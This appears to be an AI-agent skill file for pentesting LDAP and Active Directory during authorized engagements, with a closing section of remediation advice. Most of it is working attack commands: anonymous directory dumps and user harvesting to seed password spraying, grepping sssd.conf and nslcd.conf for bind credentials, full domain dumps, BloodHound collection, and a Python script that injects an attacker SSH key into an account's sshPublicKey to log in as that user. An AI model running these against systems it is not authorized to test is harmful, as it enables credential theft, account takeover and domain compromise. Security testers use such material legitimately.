name: pentesting-ldap description: Testing LDAP / LDAPS directory services (389, 636, and Global Catalog 3268/3269) including Active Directory during authorized engagements. Covers anonymous/null bind enumeration, naming-context discovery, user/group/computer extraction with ldapsearch and netexec, credentialed domain dumping (ldapdomaindump, windapsearch, BloodHound), cleartext credential sniffing, writable-attribute abuse (sshPublicKey), and harvesting bind creds from client configs. domain: cybersecurity subdomain: network-services-pentesting tags:
- penetration-testing
- network-services
- ldap
- active-directory
- enumeration
- bloodhound version: '1.0' author: xalgorix license: Apache-2.0
Pentesting LDAP (ports 389/636/3268/3269)
When to Use
- During authorized AD/directory assessments when 389, 636, 3268, or 3269 is open
- When you need to enumerate users, groups, computers, and the password policy
- When testing for anonymous/null binds that expose the directory unauthenticated
- When you have valid credentials and want a full domain dump or BloodHound collection
- When assessing Linux hosts integrated with LDAP/AD for leaked bind credentials in client configs
Quick Enumeration
# Confirm service and grab public info (anonymous)
nmap -n -sV --script "ldap* and not brute" <IP>
nmap -p 389 --script ldap-search -Pn <IP>
# Naming context / rootDSE (base DN autodetected) — no creds
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -s base -b '' "(objectClass=*)" "*" +
# netexec LDAP module
netexec ldap <DC_FQDN> -u '' -p '' # anonymous probe
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
Critical: Checks Most Often Missed
- Anonymous / null bind — legacy or misconfigured directories allow unauthenticated reads of the entire tree: users, groups, computers, attributes, and the password policy. Test
ldapsearch -x -D '' -w ''andnetexec ldap -u '' -p ''. - Cleartext LDAP (no TLS) — plain 389 lets you sniff bind credentials on the wire; also enables a downgrade MITM where a TLS client falls back to cleartext.
- Writable user attributes — if you can modify
sshPublicKey, and SSH reads keys from LDAP, you can log in as that user even without their password. Check write access to high-value attributes. - Bind creds in client configs — on LDAP-joined Linux,
/etc/sssd/sssd.conf,/etc/nslcd.conf, and/etc/ldap/ldap.confoften hold reusableldap_default_bind_dn+ldap_default_authtok. World-readable configs are a quick win. - userPassword / description leakage — directory entries sometimes store passwords or password hints in readable attributes; grep query output for them.
How to CONFIRM: an anonymous bind is confirmed when an unauthenticated ldapsearch -x returns directory entries (not just rootDSE). If you see Operations error ... successful bind must be completed, the bind is rejected (anonymous disabled or creds invalid).
Workflow
Step 1: Enumerate (naming context, objects, users)
# Discover the naming context, then dump objects
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -b "DC=<sub>,DC=<tld>"
# Anonymous user harvest via netexec
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
# python ldap3 anonymous probe
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
c = ldap3.Connection(s); print(c.bind()); print(s.info)
PY
Step 2: Authenticate (null bind, valid creds, GSSAPI)
# Check null vs valid creds (watch for "bind must be completed")
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "DC=<sub>,DC=<tld>"
# Kerberos (GSSAPI) bind instead of NTLM/simple
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<sub>,DC=<tld>"
# Harvest bind creds from LDAP client configs (post-foothold)
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
Step 3: Exploit / Extract (domain dump, targeted queries)
# Extract specific objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "CN=Users,DC=<sub>,DC=<tld>"
ldapsearch ... -b "CN=Domain Admins,CN=Users,DC=<sub>,DC=<tld>" # privileged group
ldapsearch ... -b "CN=Computers,DC=<sub>,DC=<tld>" # computers
# Grep for passwords in results
ldapsearch ... -b "DC=<sub>,DC=<tld>" | grep -i -A2 -B2 "userpas"
# Full domain dump
ldapdomaindump <IP> -u '<domain>\<user>' -p '<pass>' -o /tmp/ldd
# Windows-domain enumeration helper
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --da
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --privileged-users
Step 4: Post-access / abuse and lateral movement
# BloodHound collection via netexec LDAP
nxc ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
# Writable-attribute abuse: inject your SSH key into a user (ldap3)
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', port=636, use_ssl=True)
c = ldap3.Connection(s, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
c.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@host'])]})
print(c.result)
PY
# Crack offline LDAP DB hashes if filesystem access obtained
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Key Concepts
| Concept | Description |
|---|---|
| LDAP / LDAPS | Directory access protocol; 389 cleartext, 636 over TLS |
| Global Catalog | Forest-wide partial replica on 3268 (LDAP) and 3269 (LDAPS) |
| Naming context / base DN | Root of the directory tree (e.g. DC=corp,DC=local) |
| Anonymous/null bind | Unauthenticated connection that may expose directory data |
| DN / RDN | Distinguished Name; the unique path to an object |
| LDIF | LDAP Data Interchange Format for records and update operations |
| Writable attribute abuse | Modifying attributes like sshPublicKey to gain access |
| rootDSE | Server metadata (supported versions, naming contexts) readable pre-bind |
Tools & Systems
| Tool | Purpose |
|---|---|
| ldapsearch | Core query tool; supports simple, null, and GSSAPI binds |
| netexec / crackmapexec (ldap) | Anonymous queries, BloodHound collection, spraying |
| ldapdomaindump | Full domain object dump to HTML/JSON/grep |
| windapsearch | Enumerate users/groups/computers/privileged users via LDAP |
| python ldap3 | Scripted enumeration and attribute modification |
| BloodHound | Graph analysis of AD attack paths from LDAP data |
| godap / JXplorer / Apache Directory Studio | Interactive LDAP clients |
Common Scenarios
Scenario 1: Anonymous Bind Full Disclosure
A misconfigured DC allows null binds. netexec ldap <DC> -u '' -p '' --query "(sAMAccountName=*)" dumps every user and the password policy, seeding a targeted password spray.
Scenario 2: Bind Creds in sssd.conf
A world-readable /etc/sssd/sssd.conf on a Linux host exposes ldap_default_bind_dn and ldap_default_authtok, which authenticate to the directory and pull privileged group memberships.
Scenario 3: sshPublicKey Injection
The tester can modify a service account's sshPublicKey. After injecting an attacker key, SSH (configured to read keys from LDAP) grants login as that account.
Scenario 4: Credentialed BloodHound
With a valid low-priv credential, nxc ldap ... --bloodhound -c All collects the graph, revealing a short path from the compromised user to Domain Admins.
Output Format
## LDAP Finding
**Service**: LDAP / LDAPS
**Severity**: <Critical|High|Medium>
**Host**: <IP>:389/636 (GC 3268/3269)
**Base DN**: <DC=corp,DC=local>
### Summary
<What was found: anonymous bind, cleartext creds, writable attribute, leaked bind creds>
### Extracted Data
| Object Type | Count / Detail |
|-------------|----------------|
| Users | <n> (sAMAccountName harvested) |
| Privileged groups | Domain Admins membership exposed |
| Password policy | <details> |
### Evidence
- Command: <ldapsearch / netexec query>
- Output: <entry/attribute excerpt>
### Recommendation
1. Disable anonymous/null LDAP binds
2. Enforce LDAPS (TLS) and require channel binding / signing
3. Restrict read access to sensitive attributes; remove passwords from attributes
4. Lock down LDAP client config files (sssd.conf, nslcd.conf) to root-only
5. Review write permissions on user attributes (sshPublicKey, scriptPath)